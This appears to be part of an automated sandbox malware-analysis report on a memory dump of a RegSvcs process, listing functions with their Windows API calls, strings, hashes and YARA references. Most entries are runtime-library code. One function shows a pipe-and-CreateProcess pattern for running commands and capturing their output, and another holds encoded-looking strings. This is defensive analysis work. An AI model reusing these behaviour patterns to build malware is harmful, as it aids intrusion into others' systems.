Function 004384BC Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004326F0: EnterCriticalSection.KERNEL32(-000486C1,?,004339D5,00000000,00463F78,0000000C,0043399C,?,?,0043A7C3,?,?,00436F72,00000001,00000364,00000006), ref: 004326FF

EnumSystemLocalesW.KERNEL32(004384AF,00000001,00464198,0000000C,004388DA,00000000), ref: 004384F4

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 3b5c1364d7cd50fc97924730aefc53fb116b642963b2c1bd3db03a2d45adce8f
Instruction ID: 9fc24951d34fa790f1ec3895482986d9505c3f2fe49ddfb93487c91185536aab
Opcode Fuzzy Hash: 3b5c1364d7cd50fc97924730aefc53fb116b642963b2c1bd3db03a2d45adce8f
Instruction Fuzzy Hash: 8EF03C76A40300AFD704DF99E842B9D77F0EB49725F20406FF4119B2A1DBB989408F49

Function 004423C8 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00436DD0: GetLastError.KERNEL32(00000000,00000000,?,00437BB7,?,00000000,00000000,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010), ref: 00436DD5
Part of subcall function 00436DD0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00438071,00000000,00000000,00000000,00000000,8B18EC83,00464158,00000010,00431112,00000000,00000000,00000000), ref: 00436E73

EnumSystemLocalesW.KERNEL32(00442321,00000001,FFFFFFFF,?,?,00442B89,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 004423FF

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d22d078ac6dda33add69cb47dc5f89e5addfa278ab2afe83675ca11ae6cb7b22
Instruction ID: 99cdb45d3f9d3a368050452263ee8c929fb67b282bee9bca7be4151b212121f8
Opcode Fuzzy Hash: d22d078ac6dda33add69cb47dc5f89e5addfa278ab2afe83675ca11ae6cb7b22
Instruction Fuzzy Hash: E6F0E53A30020557DB04AF76D94576BBFA4EFC1714F47806AFE058B691C6F99882C7A4

Function 0042A608 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002A614,0042A128), ref: 0042A60D

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8d06b91f446ef99f71eebbec5f32996093cab5ca771a45d9879e521a318de171
Instruction ID: 66bb6caa2bdd3c9d84d0cfa5364d01ae706cc903abfb3adfe59ca4624c321f28
Opcode Fuzzy Hash: 8d06b91f446ef99f71eebbec5f32996093cab5ca771a45d9879e521a318de171
Instruction Fuzzy Hash:

Function 004407F2 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 004407F2

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 42b51d29d7d43180ceb412ccadbdbd3d27969663646f8ef2e2f89b7d034a4083
Instruction ID: 36067f364272004dc57d80dd1d131b4701be5925398dae7ba9ff77fe02776256
Opcode Fuzzy Hash: 42b51d29d7d43180ceb412ccadbdbd3d27969663646f8ef2e2f89b7d034a4083
Instruction Fuzzy Hash: 6FA012306002808F43404F345A0434935DC590058170400399004C4470E67088804705

Function 004362F2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6847a3e9a0d7b7b8402b77278032b4f626891dfa6fd65570ac05521b0549e8d7
Instruction ID: 2d736a212e789c36ec4e4cb68e3a434c63faf2050a836131c670e1bdff006d63
Opcode Fuzzy Hash: 6847a3e9a0d7b7b8402b77278032b4f626891dfa6fd65570ac05521b0549e8d7
Instruction Fuzzy Hash: A8E08C32911268EBCB14EB89C90498AF3FCEB48B04F26409BB911D3240C6B4DF00CBD4

Function 00408280 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 257pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000080,?,?,?,?,?,?,?,?,?), ref: 0040832D
CreatePipe.KERNEL32(00000000,00000000,0000000C,00000000), ref: 00408403
SetHandleInformation.KERNEL32(00000000,00000001,00000000), ref: 00408415
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00408459
CreateProcessA.KERNEL32 ref: 00408481
Wow64RevertWow64FsRedirection.KERNEL32(00000000), ref: 0040848F
WaitForSingleObject.KERNEL32(?,00000064), ref: 004084B8
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004084DA
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004084FE
ReadFile.KERNEL32(00000000,?,0000007F,00000000,00000000), ref: 00408525
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040856A
CloseHandle.KERNEL32(?), ref: 00408581
CloseHandle.KERNEL32(?), ref: 00408589
CloseHandle.KERNEL32(00000000), ref: 00408591
CloseHandle.KERNEL32(00000000), ref: 00408599
GetLastError.KERNEL32 ref: 004085A3

Strings

D, xrefs: 004083BC

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Handle$ClosePipeWow64$NamedPeek$CreateRedirection$DisableErrorFileInformationLastObjectPathProcessReadRevertSingleTempWait
String ID: D
API String ID: 3215130363-2746444292
Opcode ID: b28e023fe7403818ef6636384a56b0e5ae5600ff95b125a8a980114813b33f11
Instruction ID: db226792efd7a5d372922a60c148993335caeddcf7fe3051bd97c46a50f1f8d9
Opcode Fuzzy Hash: b28e023fe7403818ef6636384a56b0e5ae5600ff95b125a8a980114813b33f11
Instruction Fuzzy Hash: 2AA18471940228ABEB20DF60DD45FDDB778AF44704F1041EAE908B62D1DB79AE84CF99

Function 0044008F Relevance: 25.9, APIs: 17, Instructions: 411COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004400B9
_free.LIBCMT ref: 00440192
_free.LIBCMT ref: 004401BF

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 08ce1da051c5e4f6261c3375afccaddf4823e57bc503958558c9874a9af09999
Instruction ID: ad342c85d79afc1525fb68db4781c9c5f11ba077349ec04d9f16d3b657b576c0
Opcode Fuzzy Hash: 08ce1da051c5e4f6261c3375afccaddf4823e57bc503958558c9874a9af09999
Instruction Fuzzy Hash: FED1E871900305AFEB21EFA5C885A6F77B8AF05314F04416FEB01A7381EBB99D11CB5A

Function 00432A63 Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00432AD2
_free.LIBCMT ref: 00432AE8
_free.LIBCMT ref: 00432AFB
_free.LIBCMT ref: 00432B10
_free.LIBCMT ref: 00432B25
GetCPInfo.KERNEL32(?,?), ref: 00432B6F

Part of subcall function 0043C183: _free.LIBCMT ref: 0043C1EE

_free.LIBCMT ref: 00432DDA
_free.LIBCMT ref: 00432DED
_free.LIBCMT ref: 00432DFB
_free.LIBCMT ref: 00432E06
_free.LIBCMT ref: 00432E48
_free.LIBCMT ref: 00432E50
_free.LIBCMT ref: 00432E56
_free.LIBCMT ref: 00432E5E
_free.LIBCMT ref: 00432E6C

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 995654ab384135b73c876c0ff2681754972dc2ee05fa6770e1ead01997c3bee8
Instruction ID: 1214d5669b359a887c7051222f3a54922eff3f69e2c2072fa8b703e4a9e83790
Opcode Fuzzy Hash: 995654ab384135b73c876c0ff2681754972dc2ee05fa6770e1ead01997c3bee8
Instruction Fuzzy Hash: 33D18C71D003059FDB21CF69C982BAEBBB5BF1C304F14502EE899A7352DBB8A845CB54

Function 004299FA Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00468FA8,00000FA0,?,?,004299D8), ref: 00429A06
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,004299D8), ref: 00429A11
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,004299D8), ref: 00429A22
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00429A34
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00429A42
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,004299D8), ref: 00429A65
DeleteCriticalSection.KERNEL32(00468FA8,00000007,?,?,004299D8), ref: 00429A81
CloseHandle.KERNEL32(00000000,?,?,004299D8), ref: 00429A91

Strings

WakeAllConditionVariable, xrefs: 00429A3A
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00429A0C
SleepConditionVariableCS, xrefs: 00429A2E
kernel32.dll, xrefs: 00429A1D

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: cd77e9e22f7702d0e8c547e099c978fc9b8415150fa15de595efc219695d84d2
Instruction ID: 7cf5ffcbd6923fcff546143913a6234c01ab752e32550092ccb2d7335f4584b8
Opcode Fuzzy Hash: cd77e9e22f7702d0e8c547e099c978fc9b8415150fa15de595efc219695d84d2
Instruction Fuzzy Hash: 5E019670B41361ABD7245B74BD09B1B3659AB55B92F24016BFC04D22A1EFB8CC00856E

Function 0044170D Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00441751

Part of subcall function 00440A07: _free.LIBCMT ref: 00440A24
Part of subcall function 00440A07: _free.LIBCMT ref: 00440A36
Part of subcall function 00440A07: _free.LIBCMT ref: 00440A48
Part of subcall function 00440A07: _free.LIBCMT ref: 00440A5A
Part of subcall function 00440A07: _free.LIBCMT ref: 00440A6C
Part of subcall function 00440A07: _free.LIBCMT ref: 00440A7E
Part of subcall function 00440A07: _free.LIBCMT ref: 00440A90
Part of subcall function 00440A07: _free.LIBCMT ref: 00440AA2
Part of subcall function 00440A07: _free.LIBCMT ref: 00440AB4
Part of subcall function 00440A07: _free.LIBCMT ref: 00440AC6
Part of subcall function 00440A07: _free.LIBCMT ref: 00440AD8
Part of subcall function 00440A07: _free.LIBCMT ref: 00440AEA
Part of subcall function 00440A07: _free.LIBCMT ref: 00440AFC

_free.LIBCMT ref: 00441746

Part of subcall function 004381B6: HeapFree.KERNEL32(00000000,00000000,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?), ref: 004381CC
Part of subcall function 004381B6: GetLastError.KERNEL32(?,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?,?), ref: 004381DE

_free.LIBCMT ref: 00441768
_free.LIBCMT ref: 0044177D
_free.LIBCMT ref: 00441788
_free.LIBCMT ref: 004417AA
_free.LIBCMT ref: 004417BD
_free.LIBCMT ref: 004417CB
_free.LIBCMT ref: 004417D6
_free.LIBCMT ref: 0044180E
_free.LIBCMT ref: 00441815
_free.LIBCMT ref: 00441832
_free.LIBCMT ref: 0044184A

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 421e8ad82638d60d4f2bf5f8f882c7967a0e963893514f791121a05fb283345f
Instruction ID: e1aef9339d646358b61db9b664c228359a287d80b96a591002c5e05fd3a7908d
Opcode Fuzzy Hash: 421e8ad82638d60d4f2bf5f8f882c7967a0e963893514f791121a05fb283345f
Instruction Fuzzy Hash: 87315C316007059FEF31AA3AD845B57B3E9AF54314F18542FF459E7262DF38A881C718

Function 00440B05 Relevance: 18.4, APIs: 12, Instructions: 373COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00440B4D
_free.LIBCMT ref: 00440B71
_free.LIBCMT ref: 00440B7E
_free.LIBCMT ref: 00440BA3
_free.LIBCMT ref: 00440BB0
_free.LIBCMT ref: 00440BB9
_free.LIBCMT ref: 00440E93
_free.LIBCMT ref: 00440E9B

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 3ee456eb27e964b5e1237088420c456d79425c7376abef841d6f58eaaa567ff0
Instruction ID: 35081d4898d8c174db7cff07c485b6c9909d2cd26c7c92c96ef1c0b713dcbd22
Opcode Fuzzy Hash: 3ee456eb27e964b5e1237088420c456d79425c7376abef841d6f58eaaa567ff0
Instruction Fuzzy Hash: 28C13472D40204BBEF20DBA9CC82FDEB7F89F48704F14456AFA04FB282D67499519B58

Function 0043B52D Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 0043B7CE, 0043B7D3

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 2fc22eaa2fba05f5c433586aeb192692c20893d7fd2c2faa9929536d3e2adf5b
Instruction ID: e25121f3db656d720ad691df7fc7747f8aaffc99c6f70a51cacde16cb71368e4
Opcode Fuzzy Hash: 2fc22eaa2fba05f5c433586aeb192692c20893d7fd2c2faa9929536d3e2adf5b
Instruction Fuzzy Hash: E2C1E370E04205AFDB15EF99C881BAE7BB4FF4D304F10505AE641AB3A2D7789D41CBA9

Function 00443A9F Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00443758: CreateFileW.KERNEL32(00000000,?,?,H;D,?,?,00000000,?,00443B48,00000000,0000000C), ref: 00443775

GetLastError.KERNEL32 ref: 00443BB3
__dosmaperr.LIBCMT ref: 00443BBA
GetFileType.KERNEL32(00000000), ref: 00443BC6
GetLastError.KERNEL32 ref: 00443BD0
__dosmaperr.LIBCMT ref: 00443BD9
CloseHandle.KERNEL32(00000000), ref: 00443BF9
CloseHandle.KERNEL32(004373F1), ref: 00443D46
GetLastError.KERNEL32 ref: 00443D78
__dosmaperr.LIBCMT ref: 00443D7F

Strings

H, xrefs: 00443D04

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 0b7acca7ff21efd52c248cbfc07f57828a5cdf060c2719dab42ceefeeb59b99b
Instruction ID: bf4f5638eb42ca3ebbf15a5b1a2230956724fedc9a315eb23496984daa07d82e
Opcode Fuzzy Hash: 0b7acca7ff21efd52c248cbfc07f57828a5cdf060c2719dab42ceefeeb59b99b
Instruction Fuzzy Hash: E4A16872A041448FDF199F68DC417AE3BA1EB0A725F14015EF811EB3E1D7789E12C75A

Function 00428D83 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 139threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00428DAB
GetCurrentThreadId.KERNEL32 ref: 00428DC8
GetCurrentThreadId.KERNEL32 ref: 00428DDD
_xtime_get.LIBCPMT ref: 00428E63
GetCurrentThreadId.KERNEL32 ref: 00428E8D
__Xtime_diff_to_millis2.LIBCPMT ref: 00428EA9
_xtime_get.LIBCPMT ref: 00428ECC
GetCurrentThreadId.KERNEL32 ref: 00428ED6
GetCurrentThreadId.KERNEL32 ref: 00428F0D

Strings

p"B, xrefs: 00428DBD, 00428DEF, 00428EB3, 00428EED

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID: p"B
API String ID: 3943753294-2496714718
Opcode ID: f58987ed6803152d80ff081dcb6aa9741f7a17a24e4aabe63951f1421d9a12d3
Instruction ID: b9494613ad89904233c4c8616d7ef5b19abcd02311a7f775b862a67f56766807
Opcode Fuzzy Hash: f58987ed6803152d80ff081dcb6aa9741f7a17a24e4aabe63951f1421d9a12d3
Instruction Fuzzy Hash: BE516F75A01225CFCF10DF54E58056EB7B5AF18311B66856FD806EB2A6CB34EC40CB99

Function 0042CD22 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0042CE1F
type_info::operator==.LIBVCRUNTIME ref: 0042CE41
___TypeMatch.LIBVCRUNTIME ref: 0042CF50
IsInExceptionSpec.LIBVCRUNTIME ref: 0042D022
_UnwindNestedFrames.LIBCMT ref: 0042D0A6
CallUnexpected.LIBVCRUNTIME ref: 0042D0C1

Strings

csm, xrefs: 0042CDCC
csm, xrefs: 0042CE78
csm, xrefs: 0042CD5F

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 975dbd8c80956f696eb1ae44606a15088a5e6c23c1bffa9d8203406b136770c2
Instruction ID: 655c81b4b699c9072965c75339843ae640a888bfaae44cb3f0d0f60482e1d229
Opcode Fuzzy Hash: 975dbd8c80956f696eb1ae44606a15088a5e6c23c1bffa9d8203406b136770c2
Instruction Fuzzy Hash: 74B1AE71E00229EFCF24DF95E98099EBBB5BF04314F91405BE8146B312D739DA52CB99

Function 004461EB Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,00447E5F), ref: 00446204

Strings

exp, xrefs: 00446283, 004462E8
log10, xrefs: 00446246, 00446255
p"B, xrefs: 004462CE, 00446378, 004463BE
log, xrefs: 00446261, 00446270
asin, xrefs: 00446331
acos, xrefs: 0044633A
pow, xrefs: 004462A2, 0044634C, 00446399
sqrt, xrefs: 00446343

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$p"B$pow$sqrt
API String ID: 3527080286-2023024955
Opcode ID: bc4750436cd16cfc427dcb630d1ea129cec79332f73d59e7c2111c7276ad2f39
Instruction ID: 103716a7c00a244f8ce639481d3290e96e8c9185ffa3387d5af3837610558f88
Opcode Fuzzy Hash: bc4750436cd16cfc427dcb630d1ea129cec79332f73d59e7c2111c7276ad2f39
Instruction Fuzzy Hash: 8351AE7090460ADBEF109F98D9481BE7BB0FF46304F568197D891A7264CBBC8929CB4F

Function 00436CB8 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00436CCE

Part of subcall function 004381B6: HeapFree.KERNEL32(00000000,00000000,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?), ref: 004381CC
Part of subcall function 004381B6: GetLastError.KERNEL32(?,?,0044115C,?,00000000,?,8B18EC83,?,004413FF,?,00000007,?,?,004418A4,?,?), ref: 004381DE

_free.LIBCMT ref: 00436CDA
_free.LIBCMT ref: 00436CE5
_free.LIBCMT ref: 00436CF0
_free.LIBCMT ref: 00436CFB
_free.LIBCMT ref: 00436D06
_free.LIBCMT ref: 00436D11
_free.LIBCMT ref: 00436D1C
_free.LIBCMT ref: 00436D27
_free.LIBCMT ref: 00436D35

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 67f969143d03c9affedaca358c1804249c33e22b039fe45e179ea83905326dea
Instruction ID: f40358984851a5f8c640c5ca8d5019647707d0affb3cee205547921b939e223c
Opcode Fuzzy Hash: 67f969143d03c9affedaca358c1804249c33e22b039fe45e179ea83905326dea
Instruction Fuzzy Hash: E921DD76910108BFCF02EF95C941DDD7BB8AF48344F05916AB615AB221EF35D645CB84

Function 00413AF0 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 367COMMON

Download Yara Rule

Strings

PL==, xrefs: 00413B56
PBB+, xrefs: 00413DF8
Xv==, xrefs: 004140DE, 0041423B, 00414372
246122658369, xrefs: 00414E24
111, xrefs: 00414E94
JiKw4PF0, xrefs: 00413B2F
Zyt=, xrefs: 00414E0A

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 111$246122658369$JiKw4PF0$PBB+$PL==$Xv==$Zyt=
API String ID: 3677997916-3628501398
Opcode ID: a6c2fce4a15154d88bc8ee0771131d291fa26bd5780db9fef4d5426fc4d8c020
Instruction ID: 6184e63d1b7c2a8ad63c82ab1a565c8d7b0fda82aee2bf261ff8028f749fae9d
Opcode Fuzzy Hash: a6c2fce4a15154d88bc8ee0771131d291fa26bd5780db9fef4d5426fc4d8c020
Instruction Fuzzy Hash: BEE1B370A00248DBDF14EFA9C9457DDBFB5AB45308F90415EE8016B2C2D7B95A88CB96

Function 00440F24 Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00440F92
_free.LIBCMT ref: 00440F9E
_free.LIBCMT ref: 004410C7
_free.LIBCMT ref: 004410D2

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 3e60926460e5dee230fda889ff166cbf03b0eef5f22a907dbfab3c18ab379cd4
Instruction ID: cdc686c59964d0c1a7244e800e48506e79ea9828b7ba20c8ec72f6b3d747e873
Opcode Fuzzy Hash: 3e60926460e5dee230fda889ff166cbf03b0eef5f22a907dbfab3c18ab379cd4
Instruction Fuzzy Hash: 1361E171900300AFEB20DF65C881BABB7F8AB48310F14416FF955AB292EB749981CB59

Function 00425E20 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 141COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00425EF7
std::_Rethrow_future_exception.LIBCPMT ref: 00425F49
std::_Rethrow_future_exception.LIBCPMT ref: 00425F59

Part of subcall function 00403A60: __Mtx_unlock.LIBCPMT ref: 00403B54

Strings

$@, xrefs: 004032F6
0EF, xrefs: 004032E7, 004032ED
$@, xrefs: 004032DD

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: Mtx_unlockRethrow_future_exceptionstd::_
String ID: 0EF$$@$$@
API String ID: 3298230783-2852628486
Opcode ID: 514f0463402807daebb188547ec718d8be1c03c2344213b36238a621a070ef2c
Instruction ID: b67377ac9edb6bd196156b0a533391f4c45c5f068d87db9be408f0d8ab52f92a
Opcode Fuzzy Hash: 514f0463402807daebb188547ec718d8be1c03c2344213b36238a621a070ef2c
Instruction Fuzzy Hash: 88412E71E007185BDB10EBA5E841BAFBBB89F05304F40456FF54163642EB396944C76A

Function 00404830 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 140COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0040499F

Part of subcall function 0042B056: RaiseException.KERNEL32(E06D7363,00000001,00000003,004025DC,00420D37,8B18EC83,?,004025DC,?,004644CC), ref: 0042B0B6

Strings

ios_base::badbit set, xrefs: 00404945
pI@, xrefs: 0040485D
0*@, xrefs: 004048E8, 004049BB
$@, xrefs: 00404991
pI@, xrefs: 0040484F, 004048F0
0*@, xrefs: 004049A4

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: 0*@$0*@$ios_base::badbit set$pI@$pI@$$@
API String ID: 3109751735-465750908
Opcode ID: c7246ac7067cf59ec295879c086e16f99b4a876b3f110276431064805dc232d6
Instruction ID: a47bd369100c9176b0a939c2411aa7f03cab870ae8b14c2b194c09bae2fe4339
Opcode Fuzzy Hash: c7246ac7067cf59ec295879c086e16f99b4a876b3f110276431064805dc232d6
Instruction Fuzzy Hash: 6341C6B1A002049FC704DF69D841BAEBBB8EF85324F14852FF914A7681D778A944CBA9

Function 0042C7F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0042C827
___except_validate_context_record.LIBVCRUNTIME ref: 0042C82F
_ValidateLocalCookies.LIBCMT ref: 0042C8B8
__IsNonwritableInCurrentImage.LIBCMT ref: 0042C8E3
_ValidateLocalCookies.LIBCMT ref: 0042C938

Strings

p"B, xrefs: 0042C8FC
csm, xrefs: 0042C8CD

Memory Dump Source

Source File: 00000003.00000002.4126769317.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegSvcs.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$p"B
API String ID: 1170836740-3916959777
Opcode ID: 8fc70471db4ea1efecf445cbbdb9bf6419abdfff264b22be6b20800d073d357e
Instruction ID: 4e5a3472cbb73ffd0aca50f09b4d830986b0721f80597bc85706939221a57aaf
Opcode Fuzzy Hash: 8fc70471db4ea1efecf445cbbdb9bf6419abdfff264b22be6b20800d073d357e
